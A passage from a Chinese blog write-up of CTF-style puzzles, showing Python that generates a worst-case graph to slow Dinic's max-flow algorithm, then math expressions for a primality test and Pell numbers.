E[u].back().rev = &E[v].back();
E[v].back().rev = &E[u].back();
}
dinic(n, m, s, t);
cerr << ops << endl;
}关于如何卡Dinic算法，我找到的信息不多，在洛谷上找到了一些相关讨论，然而：
蚌！
Google搜“dinic algorithm worst case”，搜到一篇论文。文中给了一组种构造方法：
论文提出在这种n顶点、2n-3条边的情形下，Dinic算法达到最坏的时间复杂度。
考虑到这题的n限制在100，如果构造这个图，数量级似乎是够的，火速写好代码生成数据：
class Edge:
def __init__(self, u, v, w):
self.u = u
self.v = v
self.w = w
def main():
N = 100
v = []
for i in range(1, N - 1):
v.append(Edge(i, i + 1, N))
v.append(Edge(i, N, 1))
v.append(Edge(N - 1, N, 1))
with open("dinic_input.txt", "w") as f:
f.write(f"{N} {len(v)} 1 {N}\n")
for edge in v:
f.write(f"{edge.u} {edge.v} {edge.w}\n")
main()然而在本地测试了一下，发现ops仅仅只有6万多，远远不够flag2要求的100万。
阅读题目代码，发现代码中边数的上限为5000，而这种构造只构造了197条边，好像有点浪费了。注意到5000差不多是100个点构成的完全图的边数，因此我猜测要让几乎每两个点之间都连一条。那么剩下的边怎么加才能发挥最大价值呢？我启发式地想到让每个顶点都有一条回到前面顶点的路线，且这条路要正好把手上的流量用完，代码如下：
class Edge:
def __init__(self, u, v, w):
self.u = u
self.v = v
self.w = w
def main():
N = 100
v = []
for i in range(1, N - 1):
v.append(Edge(i, i + 1, N))
v.append(Edge(i, N, 1))
v.append(Edge(N - 1, N, 1))
for i in range(1, N - 1):
for j in range(i + 1, N):
if len(v) < 5000:
v.append(Edge(j, i, N - j + 1))
with open("dinic_input.txt", "w") as f:
f.write(f"{N} {len(v)} 1 {N}\n")
for edge in v:
f.write(f"{edge.u} {edge.v} {edge.w}\n")
main()试了一下，居然奏效了，ops达到了190万多，成功拿到flag2！
神秘计算器
查看题面
素数判断函数
要用非常基本的运算符实现一个素性检验函数，那么费马素性检验就非常适合这个场景。
费马素性检验利用到了费马小定理：
如果正整数$a$不是素数$p$的倍数，就有
那么我们生成一个大素数$a$，就能检出2-500间的所有素数，但问题是会有一些合数也被错误检成素数，即伪素数。但这里我们只需要判断500以内的数即可，故可以不停的随机大素数来找满足条件的$a$。
Pell数（一）
查了一下佩尔数，发现是一个类似于斐波那契数列的递推数列。咦这不是有通项公式吗？
这佩尔数岂不是送分？
试了一下发现并没有那么简单，因为Python的浮点数精度不够，算到后面就和真实值渐行渐远了。
不过前40项精度还是勉强够的，只要适当取整即可。这里考虑到表达式的长度限制，可以把通项公式分子的第二项直接去掉（因为太小了，几乎不影响结果），然后通过 (Pn+0.6) // 1的操作来对结果取整：
((1+2**(1/2))**(n-1)/2**(3/2)+3/5)//1Pell数（二）
第二题就没法用前面的通项公式做了，因为这题直接要求进行整数计算，并且需要计算200项。看了第二阶段的提示才想起来还有生成函数这么个东西，由于提示给的链接已经把构造方法说的很清楚了，这里不再写具体过程。二阶段限制调整到了100字符，于是我也没有做优化，下面是一个答案：
2**(4*n*n-4*n)//(2**(8*n-8)-2**(4*n-3)-1)%(2**(4*n-4))本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 逸风亭！
V me 50!- Alipay is also ok~
相关推荐
评论
TwikooGiscus
